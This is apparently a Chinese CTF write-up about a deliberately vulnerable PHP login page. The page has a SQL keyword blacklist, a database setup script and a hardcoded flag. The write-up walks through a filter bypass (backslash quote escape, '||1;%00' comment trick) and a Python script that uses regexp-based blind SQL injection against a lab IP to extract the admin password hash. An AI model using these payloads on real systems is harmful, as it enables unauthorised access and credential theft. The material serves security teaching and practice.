index.php
include "./config.php";
include "./flag.php";
error_reporting(0);
$black_list = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|";
$black_list .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($black_list, $_GET['user'])) exit(":P");
if(preg_match($black_list, $_GET['pwd'])) exit(":P");
$query="select user from users where user='$_GET[user]' and pwd='$_GET[pwd]'";
echo "query : {$query}
";
$result = $conn->query($query);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
if($row['user']) echo "Welcome {$row['user']}
";
}
$result = $conn->query("select pwd from users where user='admin'");
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$admin_pass = $row['pwd'];
}
if(($admin_pass)&&($admin_pass === $_GET['pwd'])){
echo $flag;
}
highlight_file(__FILE__);
?>
config.php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "day15";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}
?>
flag.php
$flag = "HRCTF{Sql_and_byPass_WAF!}";
?>
数据库SQL语句:
DROP DATABASE IF EXISTS day15;
CREATE DATABASE day15;
USE day15;
CREATE TABLE users (
id int(6) unsigned auto_increment primary key,
user varchar(20) not null,
pwd varchar(40) not null
);
INSERT INTO users(user,pwd) VALUES('Lucia','82ebeafb2b5dede380a0d2e1323d6d0b');
INSERT INTO users(user,pwd) VALUES('Admin','c609b5eda02acd7b163f500cb23b06b1');
进入网站:
http://10.211.55.5/phpcode/day15/index.php
if(($admin_pass)&&($admin_pass === $_GET['pwd'])){
echo $flag;
只要我们知道Admin
用户的密码,就能拿到flag
。
在第11行
处
$query="select user from users where user='$_GET[user]' and pwd='$_GET[pwd]'";
$_GET[user]
和 $_GET[pwd]
两个变量可控,存在SQL注入。
再看 第6-7行
。
$black_list = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|";
$black_list .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
当中过滤了 #
、 -
号,那么我们就无法进行常规的注释,但是我们可以用 ;%00
来进行注释。 $black_list
还过滤了很多字符串截取函数,这里我们可使用 PHP正则表达式
来解决。最终我们的payload如下:
http://10.211.55.5/phpcode/day15/?user=\&pwd=||1;%00
对应SQL语句为:
select user from users where user='\' and pwd='||1;'
等价于:
select user from users where user='xxxxxxxxxxx'||1#
这样就把第一条查询出来了
我们利用正则把admin的密码爆出来
http://10.211.55.5/phpcode/day15?user=\&pwd=||pwd/**/regexp/**/"^c609b5eda02acd7b163f500cb23b06b1";%00
"^c609b5eda02acd7b163f500cb23b06b1"
^后面的是一个一个爆出来的。如果前面匹配的话就会显示出Welcome Admin
密码出来后,就可以看到flag了
根据以上分析,我们可以写出如下python程序:
import string
import requests
import re
char_set = '0123456789abcdefghijklmnopqrstuvwxyz_'
pw = ''
while 1:
for ch in char_set:
url = 'http://10.211.55.5/phpcode/day15?user=\\&pwd=||pwd/**/regexp/**/"^%s";%%00'
r = requests.get(url=url%(pw+ch))
if 'Welcome Admin' in r.text:
pw += ch
print(pw)
break
if ch == '_': break
r = requests.get('http://10.211.55.5/phpcode/day15/?user=&pwd=%s' % pw)
print(re.findall('HRCTF{\S{1,50}}',r.text)[0])
结果: